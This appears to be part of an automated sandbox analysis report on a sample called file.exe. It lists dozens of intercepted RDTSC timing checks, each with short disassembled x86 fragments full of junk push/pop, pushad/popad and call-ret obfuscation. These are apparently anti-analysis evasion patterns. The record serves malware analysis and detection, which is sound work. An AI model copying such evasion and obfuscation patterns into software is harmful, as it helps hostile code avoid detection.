Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1A1D second address: CA1A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F5500B4B7C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1A2D second address: CA1A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1B65 second address: CA1B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1B69 second address: CA1B8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A4h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1B8B second address: CA1BAE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5500B4B7D9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1FE0 second address: CA1FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5500C93296h 0x0000000a pushad 0x0000000b popad 0x0000000c jnp 00007F5500C93296h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2419 second address: CA2424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA26D9 second address: CA26DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2832 second address: CA283E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnp 00007F5500B4B7C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA283E second address: CA284E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5500C93296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA284E second address: CA2856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2B1A second address: CA2B30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5500C932A1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9B11B second address: C9B11F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9B11F second address: C9B135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F5500C93298h 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F5500C93296h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3210 second address: CA3249 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5500B4B7CAh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007F5500B4B7CEh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 jmp 00007F5500B4B7D5h 0x0000001b pop eax 0x0000001c push ecx 0x0000001d push edi 0x0000001e pop edi 0x0000001f pop ecx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3249 second address: CA3263 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F5500C93296h 0x0000000a jmp 00007F5500C932A0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3402 second address: CA3435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5500B4B7CEh 0x00000009 jp 00007F5500B4B7C8h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F5500B4B7D3h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3435 second address: CA3442 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3A60 second address: CA3A71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F5500B4B7C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6F77 second address: CA6F7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6F7D second address: CA6F98 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5500B4B7CCh 0x00000008 jnp 00007F5500B4B7C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 js 00007F5500B4B7D4h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6F98 second address: CA6F9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6F9C second address: CA6FAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6FAC second address: CA6FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6FB0 second address: CA6FB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6FB4 second address: CA6FBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6FBA second address: CA6FE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jmp 00007F5500B4B7D3h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6FE3 second address: CA6FE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA913B second address: CA913F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA913F second address: CA9153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F5500C93296h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F5500C9329Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA76D second address: CAA778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5500B4B7C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7877C second address: C78784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C78784 second address: C7879A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F5500B4B7CCh 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7879A second address: C787A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C787A0 second address: C787A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C787A5 second address: C787B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007F5500C93296h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1D8B second address: CB1DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5500B4B7CFh 0x0000000a popad 0x0000000b pushad 0x0000000c jnc 00007F5500B4B7CAh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB2092 second address: CB20C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jng 00007F5500C93296h 0x0000000c popad 0x0000000d pushad 0x0000000e jne 00007F5500C93296h 0x00000014 jmp 00007F5500C932A4h 0x00000019 ja 00007F5500C93296h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB20C1 second address: CB20C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB50E3 second address: CB50E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB50E7 second address: CB50F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F5500B4B7CCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5183 second address: CB5187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB56AA second address: CB56C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5500B4B7C6h 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jbe 00007F5500B4B7C6h 0x00000016 jnc 00007F5500B4B7C6h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB56C7 second address: CB56CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5AA2 second address: CB5AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5B9A second address: CB5B9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5B9F second address: CB5BB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5500B4B7CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6244 second address: CB624A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB624A second address: CB624E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6BC2 second address: CB6C36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C9329Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D1A13h], ecx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F5500C93298h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c jmp 00007F5500C932A4h 0x00000031 jmp 00007F5500C932A4h 0x00000036 push 00000000h 0x00000038 mov edi, dword ptr [ebp+122D3359h] 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6A8C second address: CB6A90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6C36 second address: CB6C4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7CFC second address: CB7D77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F5500B4B7C8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov di, AF07h 0x00000028 mov esi, dword ptr [ebp+122D288Bh] 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007F5500B4B7C8h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 0000001Dh 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a mov esi, dword ptr [ebp+122D388Bh] 0x00000050 mov si, di 0x00000053 push 00000000h 0x00000055 xchg eax, ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F5500B4B7CDh 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA66D second address: CBA677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F5500C93296h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBBB99 second address: CBBB9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBBB9D second address: CBBBAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5500C9329Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1B74 second address: CC1B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1B7F second address: CC1BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F5500C932A0h 0x0000000a popad 0x0000000b nop 0x0000000c stc 0x0000000d mov bx, ax 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F5500C93298h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e mov di, si 0x00000031 jmp 00007F5500C9329Ch 0x00000036 xchg eax, esi 0x00000037 je 00007F5500C932A8h 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1BDD second address: CC1BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1BE1 second address: CC1BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF50E second address: CBF517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF517 second address: CBF51B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1E14 second address: CC1E24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC3A4F second address: CC3ABB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C9329Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edi, dword ptr [ebp+122D36B3h] 0x00000012 push 00000000h 0x00000014 mov bx, cx 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F5500C93298h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 movzx edi, di 0x00000036 push eax 0x00000037 pushad 0x00000038 pushad 0x00000039 jmp 00007F5500C932A7h 0x0000003e js 00007F5500C93296h 0x00000044 popad 0x00000045 push eax 0x00000046 push edx 0x00000047 jnl 00007F5500C93296h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC48D6 second address: CC48FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F5500B4B7CCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC48FC second address: CC497B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C9329Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F5500C93298h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D37A3h] 0x0000002a mov bx, F1ACh 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 call 00007F5500C93298h 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], esi 0x0000003d add dword ptr [esp+04h], 00000015h 0x00000045 inc esi 0x00000046 push esi 0x00000047 ret 0x00000048 pop esi 0x00000049 ret 0x0000004a mov dword ptr [ebp+122D28B8h], edx 0x00000050 ja 00007F5500C9329Ch 0x00000056 add dword ptr [ebp+122D3588h], eax 0x0000005c push 00000000h 0x0000005e mov bl, 12h 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 jp 00007F5500C93298h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4BD8 second address: CC4BE2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5500B4B7CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC68B1 second address: CC68B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC69F0 second address: CC6A0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6A0A second address: CC6A26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5500C932A3h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8769 second address: CC8792 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5500B4B7DFh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8792 second address: CC8796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8796 second address: CC8857 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F5500B4B7D8h 0x0000000f jmp 00007F5500B4B7D2h 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F5500B4B7C8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 jmp 00007F5500B4B7D5h 0x00000035 mov di, ax 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ecx 0x0000003d call 00007F5500B4B7C8h 0x00000042 pop ecx 0x00000043 mov dword ptr [esp+04h], ecx 0x00000047 add dword ptr [esp+04h], 0000001Ch 0x0000004f inc ecx 0x00000050 push ecx 0x00000051 ret 0x00000052 pop ecx 0x00000053 ret 0x00000054 sub dword ptr [ebp+122D2C12h], edi 0x0000005a xor bh, 00000043h 0x0000005d push 00000000h 0x0000005f mov dword ptr [ebp+122D332Ch], edi 0x00000065 xchg eax, esi 0x00000066 jmp 00007F5500B4B7CFh 0x0000006b push eax 0x0000006c pushad 0x0000006d pushad 0x0000006e jmp 00007F5500B4B7D4h 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC982A second address: CC9830 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9830 second address: CC98C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c xor edi, dword ptr [ebp+122D3923h] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F5500B4B7C8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Ch 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e mov ebx, 4E327042h 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edx 0x00000038 call 00007F5500B4B7C8h 0x0000003d pop edx 0x0000003e mov dword ptr [esp+04h], edx 0x00000042 add dword ptr [esp+04h], 0000001Ch 0x0000004a inc edx 0x0000004b push edx 0x0000004c ret 0x0000004d pop edx 0x0000004e ret 0x0000004f mov dword ptr [ebp+122D351Bh], ebx 0x00000055 push eax 0x00000056 pushad 0x00000057 push esi 0x00000058 pushad 0x00000059 popad 0x0000005a pop esi 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F5500B4B7D0h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC98C2 second address: CC98C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCAA29 second address: CCAA2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCAA2F second address: CCAA42 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007F5500C93296h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD8FA second address: CCD91E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F5500B4B7C8h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
